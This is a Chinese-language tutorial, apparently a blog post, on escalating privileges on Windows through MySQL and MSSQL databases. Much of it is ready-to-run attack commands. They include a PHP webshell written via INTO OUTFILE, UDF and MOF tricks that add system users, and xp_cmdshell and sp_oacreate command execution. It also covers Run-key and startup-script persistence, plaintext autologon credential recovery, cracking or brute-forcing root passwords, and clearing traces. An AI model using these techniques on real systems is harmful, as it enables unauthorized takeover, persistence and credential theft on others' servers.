天天看點

Windows提權系列中篇

這一篇的内容主要講的是關于利用資料庫服務來進行提權操作,今天的主要内容是利用mysql、mssql進行提權。

利用Mysql提權

在利用mysql提權之前首先要回顧一下mysql的常用指令:

查路徑:select @@basedir as basePath from dual

查使用者:select * from mysql.user

注冊函數:CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'

查版本:select version();

導出:select load_file(0x633A5C5C626F6F742E696E69) FROM user into outfile 'D://a.txt'

寫檔案:select '<?php eval($_POST[cmd]);?>' into outfile 'F://a.php';

開外連:GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

讀檔案:select load_file('c:\boot.ini')

移動檔案:select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

查找root密碼

利用mysql提權的三種方式均需要擷取mysql資料庫最高權限root的帳号密碼。是以我們先讨論下如何擷取mysql的root密碼:

1.翻配置檔案。關鍵字:config conn data sql inc database等

2.下載下傳資料檔案并破解密文。

root密碼密文存放在:mysql資料庫存儲目錄/mysq/user.myd中,低權限下可以用以下指令讀取,或者直接使用暗月的“MYSQL低權限讀取ROOT密碼工具”,然後使用cmd5解密即可。

Windows提權系列中篇

3.暴力破解。使用類似于【鳳凰掃描器】(https://github.com/0xwindows/fenghuangscanner_v3)的爆破工具。

利用udf提權

UDF為User Defined Function使用者自定義函數,也就是支援使用者自定義函數的功能。這裡的自定義函數要以dll形式寫成mysql的插件,提供給mysql來使用。也就是說我們可以通過編寫dll檔案來實作我們需要的功能,UDF編寫可以參考(https://www.404sec.com/7817.html)。利用UDF提權需要知道root賬戶的密碼,并且需要目标系統是Windows。可以使用現成的udf提權工具,下面介紹手工測試的方法。

1.檢視mysql版本

select version();#-->5.7.14

2.上傳DLL檔案

dll檔案可以使用webshell上傳,也可以通過mysql導出。字尾不一定是dll,可以是任意的。64位和32位版本對應不同的dll檔案,拿32位的dll去在64位系統注冊的話,會提示錯誤:

Can't open shared library 'udf.dll' (errno: 193 )

Windows提權系列中篇

在MYSQL 4.1以前的版本中,可以将所有的DLL檔案裡面的任何函數都注冊到MYSQL裡面以供MYSQL調用。無論這個DLL在什麼位置,函數的聲明是什麼樣的。

在MYSQL 4.1及以後的版本中,對UDF函數進行了限制,隻有實作了一個特定接口的函數才可以被成功注冊到MYSQL中,這樣就防止了通過MYSQL非法調用系統的DLL。

在MYSQL5.0以後,對注冊的DLL的位置有了限制,建立函數的時候,所對應的DLL不能包含/或者\,簡單的了解就是不能是絕對路徑。 是以我們将DLL上傳到包含在PATH這個環境變量内的目錄中來跳過這個限制(運作

echo %path%

可以檢視可寫目錄,例如:C:\WINDOWS\udf.dll或C:\WINDOWS\system32\udf.dll),或者放到盤符的根目錄下通過c:udf.dll這種形式的寫法來跳過限制。

Mysql5.1及以上版本,必須将DLL檔案上傳到mysql安裝目錄下的lib\plugin檔案夾下才能建立自定義的函數。預設情況下’plugin’檔案夾并不存在,可能就是為了防止通過into dumpfile将DLL來寫到這個檔案夾。可以用指令

show variables like '%plugin%'

檢視是否存在plugin檔案夾。可以在webshell中手工建立lib、plugin檔案夾,也可以像下面這樣利用NTFS ADS流來建立檔案夾(5.7.14 權限不足,

Errcode: 13 - Permission denied

。5.5.8可以。哪些版本可以?):

Windows提權系列中篇

如果mysql伺服器開啟了secure-file-priv選項,就隻能将檔案導出到指定目錄下。可以通過

show variables like '%secure%';

查詢secure-file-priv的值。使用#注釋掉mysql安裝目錄下my.ini 或者mysql.cnf中的

secure_file_priv="c:/wamp64/tmp"

一行,然後重新開機mysql就可以将檔案導出到任意目錄了。(待解決問題:apache使用者有權限改這個配置檔案并且重新開機mysql麼?)

1.建立函數

create function function_name returns string soname 'dll_path' //function_name必須是dll檔案中函數

create function cmdshell returns string soname 'udf.dll'//eg

2.調用函數

select function_name(函數參數);

select cmdshell('net user waitalone waitalone.cn /add');#eg

3.删除函數

drop function function_name;

drop function cmdshell;#eg

-- 或者:

delete from mysql.func where name='function_name';

delete from mysql.func where name='cmdshell';#eg

利用mof提權

Windows 管理規範 (WMI) 提供了以下三種方法編譯到 WMI 存儲庫的托管對象格式 (MOF) 檔案:

  1. 運作 MOF 檔案指定為指令行參數将 Mofcomp.exe 檔案。
  2. 使用 IMofCompiler 接口和 $ CompileFile 方法。
  3. 拖放到 %SystemRoot%\System32\Wbem\MOF 檔案夾的 MOF 檔案。

也就是說mof提權其實是windows的問題,而不是mysql的漏洞。第三種方法僅為向後相容性與早期版本的 WMI 提供,因為此功能可能不會提供在将來的版本後。mysql5.7開始預設使用secure-file-priv選項,不能随意選擇導出路徑,是以mof提權僅适用于以下條件:

  • 作業系統版本低于Windows Server 2008;
  • mysql 版本低于5.7

可以使用現成的mof提權工具,下面介紹手工測試的方法。

1.檢視mysql版本

select version();#-->5.5.8           

複制

2.編寫mof檔案

Windows提權系列中篇

3.導出mof檔案

select load_file('C:\RECYCLER\1.mof') into dumpfile 'c:/windows/system32/wbem/mof/test.mof';#先上傳到可寫目錄然後導出到指定目錄

select char(35,112) into dumpfile 'c:/windows/system32/wbem/mof/test.mof';#直接導出到指定目錄。35,112 代表 ASCII 碼值表

成功執行之後,會在c:/windows/system32/wbem/mof/good/目錄下多出個test.mof檔案。如果mof檔案不能執行,則會在c:/windows/system32/wbem/mof/bad/目錄下多出個test.mof檔案。

4.清理痕迹。成功提權後清理很及時需要删除添加的使用者,但是每分鐘又會重新執行腳本添加使用者。需要使用如下指令清理痕迹:

Windows提權系列中篇

啟動項/組政策

windows 啟動項和開關機組政策目錄下的腳本會在使用者登入、開機、關機是自動運作,利用mysql向這些路徑導出腳本即可執行任意指令,mysql5.7開始預設使用secure-file-priv選項,不能随意選擇導出路徑,是以這種辦法需要目标mysql版本低于5.7。具體操作指令如下:

Windows提權系列中篇

自運作腳本路徑整理:

Windows提權系列中篇

利用Mssql提權

MSSQL作為在Windows系統下最常用的資料庫,利用mssql來提權也是經常會遇到的,下面就針對mssql如何提權做一個詳細的介紹。

擷取資料庫密碼

  1. 翻配置檔案。conn.asp(asp站點) , web.config(aspx站點) , db.inc
  2. 暴力破解。

sa權限利用

微軟的SQL Server在提權過程中往往也會給我們很大幫助,尤其是當找到SA使用者的密碼時,系統權限就基本到手了。

xp_cmdshell

得到SA權限後,我們用的最多的是“xp_cmdshell”這個擴充存儲直接執行指令,具體步驟如下:

1.開啟xp_cmdshell

Windows提權系列中篇

2.執行指令

exec xp_cmdshell 'whoami'

從SQL Server 2005 開始,xp_cmdshell預設是禁用的,而且執行xp_cmdshell可能會觸發安全警報。下面介紹一些其它通過SQL Server 執行系統指令的方法。

sp_oacreate

在xp_cmdshell被删除或者出錯情況下,可以充分利用SP_OACreate進行提權。

1.打開元件

Windows提權系列中篇

2.執行指令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\programdata\1.txt' --執行指令無回顯

詳細介紹:

http://www.cnblogs.com/xiao0/archive/2012/08/09/2630048.html
SQL Server CLR

Microsoft SQL Server 現在具備與 Microsoft Windows .NET Framework 的公共語言運作時 (CLR) 元件內建的功能。CLR 為托管代碼提供服務,例如跨語言內建、代碼通路安全性、對象生存期管理以及調試和分析支援。對于 SQL Server 使用者和應用程式開發人員來說,CLR 內建意味着您現在可以使用任何 .NET Framework 語言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)編寫存儲過程、觸發器、使用者定義類型、使用者定義函數(标量函數和表值函數)以及使用者定義的聚合函數。 要通過此種方式來執行指令,也有幾個前提:

1.在SQL Server上能啟用CLR并可以建立自定義存儲過程

2.SQL Server目前賬号具有執行指令/代碼所需要的權限

具體測試步驟如下:

1.建立項目。安裝Visual Studio和SQL Server資料庫,建立一個新的SQL Server資料庫項目。設定項目屬性,目标平台修改為需要的目标平台,如SQL Server 2012; 将SQLCLR權限級别修改為UNSAFE;修改.Net 架構版本為自己需要的版本;語言選擇C#。右鍵項目,選擇添加->建立項,建立SQL CLR C# 存儲過程。

2.編寫代碼。

Windows提權系列中篇

3.編譯。到編譯目錄下可以看到一個dacpac字尾的檔案,輕按兩下檔案解壓打開mode.sql,執行sql檔案中的語句:

Windows提權系列中篇

4.開啟資料庫伺服器配置選項clr enabled:

Windows提權系列中篇

5.執行指令:

EXEC [dbo].[SqlStoredProcedure1];

6.删除存儲過程:

DROP PROCEDURE [dbo].[SqlStoredProcedure1];DROP ASSEMBLY ExecCode

參考連接配接:

https://evi1cg.me/archives/Exec_OS_Command_Via_MSSQL.html
Agent Job

此種方式适用于伺服器開啟了MSSQL Agent Job服務,并且伺服器中目前運作的使用者賬号擁有足夠的權限去建立并執行代理作業的情況。

Windows提權系列中篇

參考連接配接:

http://bobao.360.cn/learning/detail/3070.html
其他方式

freebuf上有一篇很詳細的文章,連結如下:

http://www.freebuf.com/column/142307.html

dbower權限

類似于mysql寫腳本到自啟動目錄下,mssql也可以通過差異備份寫腳本到自啟動目錄下。差異備份儲存的檔案不隻是我們的腳本檔案,還會有一些我們用不到的垃圾資料。在bat腳本中,我們可以使用回車把垃圾資料送出了,系統會把它們當成無用指令處理,不會影響腳本的正常運作,是以我們在這裡選用bat腳本。而且MSSQL備份的時候,到一定的字元長度就會出現垃圾的字元,那個字元會影響我們的操作。是以我們得把語句盡量縮短。

Windows提權系列中篇

除了寫腳本到自啟動目錄下,還可以通過系統資料庫實作開機運作指令:

xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','exec','REG_SZ','cmd /c whoami > c:\programdata\4.txt'

工具——PowerUpSQL(未測試)

針對mssql的的攻擊與利用,有一個強大的工具PowerUpSQL

https://github.com/NetSPI/PowerUpSQL

裡面也有很多針對MSSQL的攻擊方式。這裡介紹兩種利用方式:

  • SP_Addextendedproc
  1. 建立DLL

    Create-SQLFileXpDll -OutFile C:\programdata\exec.dll -Command "echo Exec test > C:\programdata\test.txt" -ExportName xp_test

  2. 導入DLL

    //via local disk:sp_addextendedproc 'xp_test', 'C:\programdata\xp_test.dll'//via UNC path:sp_addextendedproc 'xp_test', '\servername\pathtofile\exec.dll'

  3. 調用存儲過程

    exec master..xp_test;

  4. 解除安裝存儲過程

    sp_dropextendedproc 'xp_test'

  • xp_regread恢複Windows自動登入憑據

可以将Windows配置為在計算機啟動時自動登入。 在大多數情況下,當Windows配置為自動登入時,未加密的憑據存儲在系統資料庫項中:

HKEY_LOCAL_MACHINE SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

。PowerUpSQL中的“Get-SQLRecoverPwAutoLogon”函數可以擷取到預設Windows自動登入資訊和備用Windows自動登入資訊(如果已設定),然後它傳回相關的域名,使用者名和密碼。

$Accessible = Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose -Threads 15| Where-Object {$_.Status –eq “Accessible”}$Accessible | Get-SQLRecoverPwAutoLogon -Verbose

參看連結:

https://evi1cg.me/archives/Powerup.html

總結

本文主要講解了利用Windows下的常用資料庫進行提權的各種姿勢,如果大家有什麼意見和建議請積極留言,如果需要詳細交流可以加群尋找作者進行溝通。